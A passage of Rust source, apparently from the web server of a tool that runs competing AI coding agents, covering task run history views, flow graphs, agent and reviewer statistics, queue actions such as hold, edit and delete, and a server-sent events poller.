4560}
4561
4562fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4565 let RunSlot {
4566 n,
4567 resumed,
4568 resumed_later,
4569 prior,
4570 last,
4571 } = at;
4572 let short = run::short_of(id).to_owned();
4573 let Some(s) = state else {
4574 return TaskRunView {
4575 n,
4576 id: id.to_owned(),
4577 short,
4578 kind: "unknown",
4579 status: None,
4580 readable: false,
4581 provisional: false,
4582 description:
4583 "This run's record could not be read by this build (written by a different \
4584 magi, or removed), so what kind of attempt it was is unknown."
4585 .to_owned(),
4586 outcome: String::new(),
4587 created_at: None,
4588 pr: None,
4589 exit: RunExit::Unreadable,
4590 attempt: AttemptCost::Unknown,
4591 branch: None,
4592 };
4593 };
4594 let branch = review_branch_of(&s.instruction);
4595 let kind = if resumed {
4596 "resume"
4597 } else if branch.is_some() {
4598 "review"
4599 } else if task.solo || s.candidates.len() == 1 {
4600 "solo"
4601 } else {
4602 "competition"
4603 };
4604 let mut description = match kind {
4605 "resume" => {
4606 format!("Resumed run {short}: the same run carried on instead of competing again.")
4607 }
4608 "review" => format!(
4609 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4610 branch.unwrap_or_default()
4611 ),
4612 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4613 _ => format!(
4614 "Competition: {} candidates judged blind.",
4615 s.candidates.len().max(1)
4616 ),
4617 };
4618 if !resumed && let Some((p, st)) = prior {
4619 description.push_str(&format!(
4620 " A retry: run {p} before it ended {}.",
4621 st.display_label()
4622 ));
4623 }
4624
4625 let status = s.status;
4626 let provisional = matches!(status, RunStatus::Stalled)
4627 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4628 let head = if resumed_later.is_some() {
4629 String::new()
4630 } else {
4631 match status {
4632 RunStatus::Merged => "Merged.".to_owned(),
4633 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4634 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4635 RunStatus::AlreadyInBase => {
4636 "Already in the base: this change landed under other commits, nothing was left to land."
4637 .to_owned()
4638 }
4639 RunStatus::Stalled => {
4640 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4641 .to_owned()
4642 }
4643 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4644 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4645 RunStatus::VerifiedNoop => {
4646 "Verified no-op: the candidates found nothing to change.".to_owned()
4647 }
4648 other if other.done() => format!("Ended {}.", other.display_label()),
4649 other => format!("In progress ({}).", other.display_label()),
4650 }
4651 };
4652 let why = if let Some(k) = resumed_later {
4653 let cause = if s.quota.is_empty() {
4660 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4661 } else {
4662 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4663 };
4664 format!(
4665 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4666 )
4667 } else if s.parked {
4668 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4669 .to_owned()
4670 } else if !status.done()
4671 || matches!(
4672 status,
4673 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4674 )
4675 {
4676 String::new()
4677 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4678 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4679 {
4680 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4681 .to_owned()
4682 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4683 " It left a pull request open, so the task was held for a person rather than retried."
4684 .to_owned()
4685 } else if matches!(status, RunStatus::VerifiedNoop) {
4686 " Held for a person to check the claim.".to_owned()
4687 } else if last {
4688 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4689 } else {
4690 " It spent an attempt, and the task moved on to the next run.".to_owned()
4691 };
4692 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4693 TaskRunView {
4694 n,
4695 id: id.to_owned(),
4696 short,
4697 kind,
4698 status: Some(status.as_str()),
4699 readable: true,
4700 provisional,
4701 description,
4702 outcome: format!("{head}{why}"),
4703 created_at: Some(s.created_at),
4704 pr: s.pr.as_ref().map(|p| p.url.clone()),
4705 exit,
4706 attempt: exit.cost(),
4707 branch: branch.map(str::to_owned),
4708 }
4709}
4710
4711#[derive(Debug, Serialize, PartialEq)]
4713struct FlowNode {
4714 key: String,
4716 kind: &'static str,
4718 label: String,
4719 status: Option<&'static str>,
4722 status_of: &'static str,
4725 note: Option<&'static str>,
4727 run_kind: Option<&'static str>,
4728 detail: Option<String>,
4729 decided: bool,
4731 readable: bool,
4732 href: Option<String>,
4733}
4734
4735#[derive(Debug, Serialize, PartialEq)]
4736struct FlowEdge {
4737 from: String,
4738 to: String,
4739 label: String,
4740 attempt: AttemptCost,
4741}
4742
4743#[derive(Debug, Serialize, PartialEq)]
4744struct FlowView {
4745 nodes: Vec<FlowNode>,
4746 edges: Vec<FlowEdge>,
4747 attempts: usize,
4749 max_attempts: usize,
4750}
4751
4752fn task_flow(
4761 task: &Task,
4762 history: &[TaskRunView],
4763 max_attempts: usize,
4764 origin: Option<&FollowUpOrigin>,
4765) -> FlowView {
4766 let node = |key: &str, kind, label: String| FlowNode {
4767 key: key.to_owned(),
4768 kind,
4769 label,
4770 status: None,
4771 status_of: "run",
4772 note: None,
4773 run_kind: None,
4774 detail: None,
4775 decided: false,
4776 readable: true,
4777 href: None,
4778 };
4779 let mut nodes = Vec::new();
4780 let mut edges: Vec<FlowEdge> = Vec::new();
4781 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4783 let mut n = node(
4784 "chat",
4785 "chat",
4786 format!("Chat {}", crate::queue::short(&link.id)),
4787 );
4788 n.href = Some(link.href);
4789 nodes.push(n);
4790 edges.push(FlowEdge {
4791 from: "chat".to_owned(),
4792 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4793 label: "queued from chat".to_owned(),
4794 attempt: AttemptCost::None,
4795 });
4796 }
4797 if let Some(o) = origin {
4798 let mut n = match &o.parent {
4799 Some(p) => {
4800 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4801 n.status = Some(p.status);
4802 n.status_of = "task";
4803 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4804 n.href = Some(p.href.clone());
4805 n
4806 }
4807 None => {
4808 let mut n = node(
4809 "origin",
4810 "followup",
4811 format!("Follow-up of run {}", o.run.short),
4812 );
4813 n.detail = Some("merged run".to_owned());
4814 n.status = o.run.status;
4815 n.href = o.run.href.clone();
4816 if o.run.href.is_none() {
4817 n.readable = false;
4818 n.note = Some("unreadable");
4819 }
4820 n
4821 }
4822 };
4823 n.decided = true;
4824 let from = n.key.clone();
4825 nodes.push(n);
4826 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4827 let more = o.findings.len().saturating_sub(shown.len());
4828 let label = match (shown.is_empty(), more) {
4829 (true, _) => "open findings".to_owned(),
4830 (false, 0) => format!("open findings {}", shown.join(", ")),
4831 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4832 };
4833 edges.push(FlowEdge {
4834 from,
4835 to: "start".to_owned(),
4836 label,
4837 attempt: AttemptCost::None,
4838 });
4839 }
4840 nodes.push(node("start", "start", "Task queued".to_owned()));
4841 let mut prev = "start".to_owned();
4842 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4843 for (i, h) in history.iter().enumerate() {
4844 let key = format!("run-{}", h.n);
4845 let mut n = node(&key, "run", format!("Run {}", h.short));
4846 n.run_kind = Some(h.kind);
4847 n.readable = h.readable;
4848 n.href = Some(format!("#/runs/{}", h.id));
4849 n.decided = h.readable && !h.provisional;
4850 n.detail = h
4851 .branch
4852 .as_ref()
4853 .map(|b| format!("review-only run of branch {b}"));
4854 match h.exit {
4855 RunExit::Unreadable => n.note = Some("unreadable"),
4856 RunExit::Interrupted => n.note = Some("interrupted"),
4857 _ => {
4858 n.status = h.status;
4859 if h.provisional {
4860 n.note = Some("no verdict");
4861 }
4862 }
4863 }
4864 let into = match h.kind {
4865 "review" => Some(format!(
4866 "review-only run of branch {}",
4867 h.branch.as_deref().unwrap_or("?")
4868 )),
4869 "resume" => Some("resume the same run".to_owned()),
4870 _ if i > 0 => Some("retry".to_owned()),
4871 _ => None,
4872 };
4873 let label = match (prev_exit, into) {
4874 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4875 (Some((e, st)), None) => e.edge_label(st),
4876 (None, Some(i)) => i,
4877 (None, None) => "claimed".to_owned(),
4878 };
4879 edges.push(FlowEdge {
4880 from: prev.clone(),
4881 to: key.clone(),
4882 label,
4883 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4884 });
4885 prev_exit = Some((h.exit, h.status));
4886 prev = key;
4887 nodes.push(n);
4888 }
4889 let mut end = node("end", "end", task.status.as_str().to_owned());
4890 end.status = Some(task.status.as_str());
4891 end.status_of = "task";
4892 nodes.push(end);
4893 let (label, attempt) = match prev_exit {
4894 None => (
4895 format!("no run yet \u{2192} {}", task.status.as_str()),
4896 AttemptCost::None,
4897 ),
4898 Some((e, st)) if e.explains(task.status) => (
4899 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4900 e.cost(),
4901 ),
4902 Some((e, _)) => (
4903 format!("closed by hand: task is {}", task.status.as_str()),
4904 e.cost(),
4905 ),
4906 };
4907 edges.push(FlowEdge {
4908 from: prev,
4909 to: "end".to_owned(),
4910 label,
4911 attempt,
4912 });
4913 FlowView {
4914 nodes,
4915 edges,
4916 attempts: task.attempts,
4917 max_attempts,
4918 }
4919}
4920
4921fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4924 let mut history = Vec::with_capacity(task.runs.len());
4925 let mut seen: Vec<&str> = Vec::new();
4926 let mut prior: Option<(&str, RunStatus)> = None;
4927 for (i, run_id) in task.runs.iter().enumerate() {
4928 let state = read(run_id);
4929 let resumed = seen.contains(&run_id.as_str());
4930 seen.push(run_id);
4931 history.push(task_run_view(
4932 run_id,
4933 state.as_ref(),
4934 RunSlot {
4935 n: i + 1,
4936 resumed,
4937 resumed_later: task.runs[i + 1..]
4938 .iter()
4939 .position(|r| r == run_id)
4940 .map(|off| i + off + 2),
4941 prior,
4942 last: i + 1 == task.runs.len(),
4943 },
4944 task,
4945 ));
4946 if let Some(s) = &state {
4947 prior = Some((run::short_of(run_id), s.status));
4948 }
4949 }
4950 history
4951}
4952
4953async fn task_detail(
4954 State(ui): State<Arc<Ui>>,
4955 Path(id): Path<String>,
4956) -> ApiResult<Json<TaskDetailView>> {
4957 blocking(move || {
4958 let id = resolve_task(&ui.queue, &id)?;
4959 let task = ui
4960 .queue
4961 .get(&id)
4962 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4963 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4964 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4965 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4966 let max_attempts = daemon::Opts::default().max_attempts;
4967 let origin = task.followup.as_ref().map(|fu| {
4968 followup_origin(
4969 fu,
4970 |tid| ui.queue.get(tid).ok(),
4971 |rid| read_run(&ui.runs, rid).ok(),
4972 )
4973 });
4974 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4975 Ok(Json(TaskDetailView {
4976 max_attempts,
4977 flow,
4978 followup_origin: origin,
4979 history,
4980 runs_unreadable,
4981 attempts_note: ATTEMPTS_NOTE,
4982 task: TaskView::with_inventory(task, &inv),
4983 }))
4984 })
4985 .await
4986}
4987
4988#[derive(Debug, Serialize)]
4992struct RateView {
4993 pct: f64,
4994 denominator: usize,
4995}
4996
4997impl RateView {
4998 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4999 (denominator > 0).then(|| Self {
5000 pct: 100.0 * numerator as f64 / denominator as f64,
5001 denominator,
5002 })
5003 }
5004}
5005
5006#[derive(Debug, Serialize)]
5011struct StatsTotalsView {
5012 runs: usize,
5013 merged: usize,
5014 ready: usize,
5015 blocked: usize,
5016 failed: usize,
5017 stalled: usize,
5018 verified_noop: usize,
5019 superseded: usize,
5020 in_progress: usize,
5021 completion_rate: Option<RateView>,
5022 tallied: usize,
5023 split: usize,
5024 split_rate: Option<RateView>,
5025 deliberated: usize,
5026 minds_changed: usize,
5027 converged: usize,
5028 review_rounds: usize,
5029}
5030
5031impl From<&stats::Totals> for StatsTotalsView {
5032 fn from(t: &stats::Totals) -> Self {
5033 Self {
5034 runs: t.runs,
5035 merged: t.merged,
5036 ready: t.ready,
5037 blocked: t.blocked,
5038 failed: t.failed,
5039 stalled: t.stalled,
5040 verified_noop: t.verified_noop,
5041 superseded: t.superseded,
5042 in_progress: t.in_progress,
5043 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5044 tallied: t.tallied,
5045 split: t.split,
5046 split_rate: RateView::of(t.split, t.tallied),
5047 deliberated: t.deliberated,
5048 minds_changed: t.minds_changed,
5049 converged: t.converged,
5050 review_rounds: t.review_rounds,
5051 }
5052 }
5053}
5054
5055#[derive(Debug, Serialize)]
5057struct AgentStatsView {
5058 agent: String,
5059 entered: usize,
5060 wins: usize,
5061 empty: usize,
5062 win_rate: Option<RateView>,
5063 competitive_entered: usize,
5064 competitive_wins: usize,
5065 competitive_win_rate: Option<RateView>,
5066 solo_entered: usize,
5067 solo_adopted: usize,
5068 solo_adoption_rate: Option<RateView>,
5069}
5070
5071impl From<&stats::AgentStats> for AgentStatsView {
5072 fn from(a: &stats::AgentStats) -> Self {
5073 Self {
5074 agent: a.agent.clone(),
5075 entered: a.entered,
5076 wins: a.wins,
5077 empty: a.empty,
5078 win_rate: RateView::of(a.wins, a.entered),
5079 competitive_entered: a.competitive_entered,
5080 competitive_wins: a.competitive_wins,
5081 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5082 solo_entered: a.solo_entered,
5083 solo_adopted: a.solo_adopted,
5084 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5085 }
5086 }
5087}
5088
5089#[derive(Debug, Serialize)]
5093struct ReviewerStatsView {
5094 agent: String,
5095 rounds: usize,
5096 seated: usize,
5097 submitted: usize,
5098 adopted: usize,
5099 unique: usize,
5100 timeouts: usize,
5101 adopted_per_round: Option<f64>,
5102 precision: Option<RateView>,
5103 unique_rate: Option<RateView>,
5104 timeout_rate: Option<RateView>,
5105}
5106
5107impl From<&stats::ReviewerStats> for ReviewerStatsView {
5108 fn from(r: &stats::ReviewerStats) -> Self {
5109 Self {
5110 agent: r.agent.clone(),
5111 rounds: r.rounds,
5112 seated: r.seated,
5113 submitted: r.submitted,
5114 adopted: r.adopted,
5115 unique: r.unique,
5116 timeouts: r.timeouts,
5117 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5118 precision: RateView::of(r.adopted, r.submitted),
5119 unique_rate: RateView::of(r.unique, r.submitted),
5120 timeout_rate: RateView::of(r.timeouts, r.seated),
5121 }
5122 }
5123}
5124
5125#[derive(Debug, Serialize)]
5131struct AdvisorStatsView {
5132 agent: String,
5133 seated: usize,
5134 proposed: usize,
5135 absent: usize,
5136 faint: usize,
5137 strong: usize,
5138 reflection_rate: Option<RateView>,
5139}
5140
5141impl From<&stats::AdvisorStats> for AdvisorStatsView {
5142 fn from(a: &stats::AdvisorStats) -> Self {
5143 Self {
5144 agent: a.agent.clone(),
5145 seated: a.seated,
5146 proposed: a.proposed,
5147 absent: a.absent,
5148 faint: a.faint,
5149 strong: a.strong,
5150 reflection_rate: RateView::of(a.strong, a.proposed),
5151 }
5152 }
5153}
5154
5155#[derive(Debug, Serialize)]
5157struct E2eStatsView {
5158 rounds: usize,
5159 failures: usize,
5160 sole_detections: usize,
5161 deferred: usize,
5162 sole_rate: Option<RateView>,
5163}
5164
5165impl From<&stats::E2eStats> for E2eStatsView {
5166 fn from(e: &stats::E2eStats) -> Self {
5167 Self {
5168 rounds: e.rounds,
5169 failures: e.failures,
5170 sole_detections: e.sole_detections,
5171 deferred: e.deferred,
5172 sole_rate: RateView::of(e.sole_detections, e.failures),
5173 }
5174 }
5175}
5176
5177#[derive(Debug, Serialize)]
5185struct ReleaseBumpStatsView {
5186 merged: usize,
5187 recorded: usize,
5188 pr_opened: usize,
5189 automerge_enabled: usize,
5190 merged_directly: usize,
5191 needs_attention: usize,
5192 clean: usize,
5193 coverage_rate: Option<RateView>,
5194 automerge_rate: Option<RateView>,
5195 attention_rate: Option<RateView>,
5196}
5197
5198impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5199 fn from(b: &stats::ReleaseBumpStats) -> Self {
5200 Self {
5201 merged: b.merged,
5202 recorded: b.recorded,
5203 pr_opened: b.pr_opened,
5204 automerge_enabled: b.automerge_enabled,
5205 merged_directly: b.merged_directly,
5206 needs_attention: b.needs_attention,
5207 clean: b.clean(),
5208 coverage_rate: RateView::of(b.recorded, b.merged),
5209 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5210 attention_rate: RateView::of(b.needs_attention, b.recorded),
5211 }
5212 }
5213}
5214
5215#[derive(Debug, Serialize)]
5217struct TaskCountsView {
5218 queued: usize,
5219 running: usize,
5220 done: usize,
5221 failed: usize,
5222 held: usize,
5223 blocked: usize,
5224 parked: usize,
5225}
5226
5227impl From<crate::queue::TaskCounts> for TaskCountsView {
5228 fn from(c: crate::queue::TaskCounts) -> Self {
5229 Self {
5230 queued: c.queued,
5231 running: c.running,
5232 done: c.done,
5233 failed: c.failed,
5234 held: c.held,
5235 blocked: c.blocked,
5236 parked: c.parked,
5237 }
5238 }
5239}
5240
5241#[derive(Debug, Serialize)]
5247struct RepoSummaryView {
5248 repo: String,
5251 name: String,
5253 runs: usize,
5254 completion_rate: Option<RateView>,
5255}
5256
5257impl From<&stats::RepoStats> for RepoSummaryView {
5258 fn from(r: &stats::RepoStats) -> Self {
5259 let t = &r.stats.totals;
5260 Self {
5261 repo: r.repo.to_string_lossy().into_owned(),
5262 name: r.name.clone(),
5263 runs: t.runs,
5264 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5265 }
5266 }
5267}
5268
5269#[derive(Debug, Serialize)]
5275struct StatsView {
5276 totals: StatsTotalsView,
5277 agents: Vec<AgentStatsView>,
5279 reviewers: Vec<ReviewerStatsView>,
5281 advisors: Vec<AdvisorStatsView>,
5283 e2e: E2eStatsView,
5284 release_bumps: ReleaseBumpStatsView,
5285 queue: TaskCountsView,
5286 runs_unreadable: usize,
5296 repos: Vec<RepoSummaryView>,
5300 daily: Vec<DailyStatsView>,
5305 repo: Option<String>,
5309 retired_hidden: Vec<String>,
5313}
5314
5315#[derive(Debug, Serialize)]
5317struct DailyStatsView {
5318 date: String,
5320 runs: usize,
5321 merged: usize,
5322 ready: usize,
5323 other: usize,
5324 completion_rate: Option<RateView>,
5326}
5327
5328impl From<&stats::DayBucket> for DailyStatsView {
5329 fn from(b: &stats::DayBucket) -> Self {
5330 Self {
5331 date: b.date.to_string(),
5332 runs: b.runs,
5333 merged: b.merged,
5334 ready: b.ready,
5335 other: b.other,
5336 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5337 }
5338 }
5339}
5340
5341const STATS_DAILY_DAYS: usize = 30;
5343
5344#[derive(Debug, Default, Deserialize)]
5353#[serde(default)]
5354struct StatsQuery {
5355 repo: Option<String>,
5356 all: bool,
5358}
5359
5360async fn stats_get(
5367 State(ui): State<Arc<Ui>>,
5368 Query(q): Query<StatsQuery>,
5369) -> ApiResult<Json<StatsView>> {
5370 blocking(move || {
5371 let states: Vec<RunState> = run_ids(&ui.runs)
5372 .into_iter()
5373 .filter_map(|id| read_run(&ui.runs, &id).ok())
5374 .collect();
5375 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5376 .iter()
5377 .map(RepoSummaryView::from)
5378 .collect();
5379 let mut scoped: Vec<&RunState> = states.iter().collect();
5380 let mut collected = match &q.repo {
5381 Some(repo) => {
5382 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5383 if filtered.is_empty() {
5384 return Err(ApiError::not_found(format!(
5385 "no runs recorded against repo `{repo}`"
5386 )));
5387 }
5388 scoped = filtered.clone();
5389 stats::collect_refs(filtered)
5390 }
5391 None => stats::collect(&states),
5392 };
5393 if !q.all {
5394 let repo = q
5395 .repo
5396 .as_deref()
5397 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5398 stats::retain_current_roster(&mut collected, &repo);
5399 }
5400 let daily = stats::daily(
5401 scoped,
5402 jiff::Zoned::now().date(),
5403 &jiff::tz::TimeZone::system(),
5404 STATS_DAILY_DAYS,
5405 );
5406 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5407 Ok(Json(StatsView {
5408 totals: StatsTotalsView::from(&collected.totals),
5409 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5410 reviewers: collected
5411 .reviewers
5412 .iter()
5413 .map(ReviewerStatsView::from)
5414 .collect(),
5415 advisors: collected
5416 .advisors
5417 .iter()
5418 .map(AdvisorStatsView::from)
5419 .collect(),
5420 e2e: E2eStatsView::from(&collected.e2e),
5421 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5422 queue: TaskCountsView::from(queue_counts),
5423 runs_unreadable: runs_unreadable(&ui.runs),
5424 repos,
5425 daily: daily.iter().map(DailyStatsView::from).collect(),
5426 repo: q.repo.clone(),
5427 retired_hidden: collected.retired_hidden.clone(),
5428 }))
5429 })
5430 .await
5431}
5432
5433#[derive(Debug, Default, Deserialize)]
5436#[serde(default, deny_unknown_fields)]
5437struct HoldBody {
5438 reason: Option<String>,
5439}
5440
5441async fn queue_hold(
5442 State(ui): State<Arc<Ui>>,
5443 Path(id): Path<String>,
5444 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5445) -> ApiResult<Json<TaskView>> {
5446 let body = match body {
5450 Ok(Json(body)) => body,
5451 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5452 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5453 };
5454 let reason = body.reason.filter(|r| !r.trim().is_empty());
5455 mutate(ui, id, move |t| {
5456 t.hold_manual(reason.clone());
5457 Ok(())
5458 })
5459 .await
5460}
5461
5462async fn queue_release(
5463 State(ui): State<Arc<Ui>>,
5464 Path(id): Path<String>,
5465) -> ApiResult<Json<TaskView>> {
5466 mutate(ui, id, |t| {
5467 t.release();
5468 Ok(())
5469 })
5470 .await
5471}
5472
5473#[derive(Debug, Deserialize)]
5474#[serde(deny_unknown_fields)]
5475struct ImplementersBody {
5476 implementers: u8,
5477}
5478
5479async fn queue_implementers(
5480 State(ui): State<Arc<Ui>>,
5481 Path(id): Path<String>,
5482 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5483) -> ApiResult<Json<TaskView>> {
5484 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5485 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5486}
5487
5488#[derive(Debug, Deserialize)]
5490#[serde(deny_unknown_fields)]
5491struct PriorityBody {
5492 priority: i32,
5493}
5494
5495async fn queue_priority(
5501 State(ui): State<Arc<Ui>>,
5502 Path(id): Path<String>,
5503 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5504) -> ApiResult<Json<TaskView>> {
5505 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5506 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5507}
5508
5509#[derive(Debug, Deserialize)]
5511#[serde(deny_unknown_fields)]
5512struct EditBody {
5513 title: String,
5514 instruction: String,
5515 #[serde(default)]
5518 force: bool,
5519}
5520
5521async fn queue_edit(
5525 State(ui): State<Arc<Ui>>,
5526 Path(id): Path<String>,
5527 body: std::result::Result<Json<EditBody>, JsonRejection>,
5528) -> ApiResult<Json<TaskView>> {
5529 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5530 let mut judged: Option<(String, PathBuf)> = None;
5534 if !body.force {
5535 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5536 let (id, text) = (id.clone(), body.instruction.clone());
5537 let (seen, hits) = blocking(move || {
5538 let id = resolve_task(&queue, &id)?;
5539 let t = queue.get(&id)?;
5540 if text == t.instruction {
5541 return Ok((None, Vec::new()));
5542 }
5543 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5544 Ok((Some((t.instruction, t.repo)), hits))
5545 })
5546 .await?;
5547 if let Some((_, repo)) = &seen {
5548 let cfg = crate::config::Config::discover(repo, None)
5549 .ok()
5550 .map(|(c, _)| c);
5551 let screened =
5552 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5553 .await
5554 .map_err(|dup| {
5555 ApiError::conflict(dup.render(
5556 "Nothing was saved. If it is not a duplicate, repeat the request \
5557 with \"force\": true.",
5558 ))
5559 })?;
5560 if let crate::dupes::Screened::Unjudged(why) = screened {
5561 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5562 }
5563 }
5564 judged = seen;
5565 }
5566 let force = body.force;
5567 mutate(ui, id, move |t| {
5568 if !force && body.instruction != t.instruction {
5569 match &judged {
5570 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5571 _ => {
5572 anyhow::bail!("the task changed while it was being checked; repeat the request")
5573 }
5574 }
5575 }
5576 t.edit(body.title.clone(), body.instruction.clone())
5577 })
5578 .await
5579}
5580
5581async fn queue_done(
5589 State(ui): State<Arc<Ui>>,
5590 Path(id): Path<String>,
5591) -> ApiResult<Json<TaskView>> {
5592 let home = ui.home.clone();
5593 mutate(ui, id, move |t| {
5594 t.succeed();
5595 crate::daemon::supersede_prior_runs(t, &home);
5603 Ok(())
5604 })
5605 .await
5606}
5607
5608async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5616 blocking(move || {
5617 let id = resolve_task(&ui.queue, &id)?;
5618 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5619 ui.queue
5620 .remove(&id, in_flight, &ui.questions)
5621 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5622 Ok(StatusCode::NO_CONTENT)
5623 })
5624 .await
5625}
5626
5627async fn mutate(
5636 ui: Arc<Ui>,
5637 id: String,
5638 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5639) -> ApiResult<Json<TaskView>> {
5640 blocking(move || {
5641 let id = resolve_task(&ui.queue, &id)?;
5642 let _claim = ui.queue.claim(&id).map_err(|e| {
5647 ApiError::conflict(format!(
5648 "{e:#} - a daemon is running this task, so it cannot be \
5649 changed from here yet"
5650 ))
5651 })?;
5652 let mut task = ui.queue.get(&id)?;
5653 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5654 Ok(dup) => ApiError::conflict(dup.render(
5655 "Nothing was saved. If it is not a duplicate, repeat the request with \
5656 \"force\": true.",
5657 )),
5658 Err(e) => ApiError::bad_request_from(e),
5659 })?;
5660 ui.queue.put(&mut task)?;
5661 Ok(Json(TaskView::from(task)))
5662 })
5663 .await
5664}
5665
5666async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5674 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5675 tokio::spawn(async move {
5676 let mut ticker = tokio::time::interval(POLL);
5677 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5678 let mut stamps: Option<[Stamps; 3]> = None;
5679 loop {
5680 ticker.tick().await;
5683 let state = Arc::clone(&ui);
5684 let revisions = tokio::task::spawn_blocking(move || {
5685 let stamps = [
5686 store_stamps(state.queue.root(), false),
5687 store_stamps(&state.runs, true),
5688 store_stamps(state.talks.root(), false),
5689 ];
5690 let revisions = (
5691 stamps_revision(&stamps[0]),
5692 stamps_revision(&stamps[1]),
5693 state.questions.revision(),
5694 stamps_revision(&stamps[2]),
5695 state.notices.revision(),
5696 state.lock_loop().rev,
5700 );
5701 (revisions, stamps)
5702 })
5703 .await;
5704 let Ok((revisions, next_stamps)) = revisions else {
5705 break;
5706 };
5707 if last == Some(revisions) {
5708 continue;
5709 }
5710 let mut payload = serde_json::json!({
5711 "queue_rev": revisions.0,
5712 "runs_rev": revisions.1,
5713 "questions_rev": revisions.2,
5714 "talks_rev": revisions.3,
5715 "notifications_rev": revisions.4,
5716 "loop_rev": revisions.5,
5717 });
5718 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5719 for (index, (key, rev)) in [
5720 ("queue_delta", base.0),
5721 ("runs_delta", base.1),
5722 ("talks_delta", base.3),
5723 ]
5724 .into_iter()
5725 .enumerate()
5726 {
5727 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5728 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5730 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5731 }
5732 }
5733 }
5734 last = Some(revisions);
5735 stamps = Some(next_stamps);
5736 let Ok(event) = Event::default().event("change").json_data(payload) else {
5738 break;
5739 };
5740 if tx.send(event).await.is_err() {
5741 break;
5742 }
5743 }
5744 });
5745 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5746 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5747}
5748
5749type Stamps = HashMap<String, (u128, u64)>;
5750
5751fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5753 std::fs::read_dir(root)
5754 .into_iter()
5755 .flatten()
5756 .flatten()
5757 .filter_map(|entry| {
5758 let path = if runs {
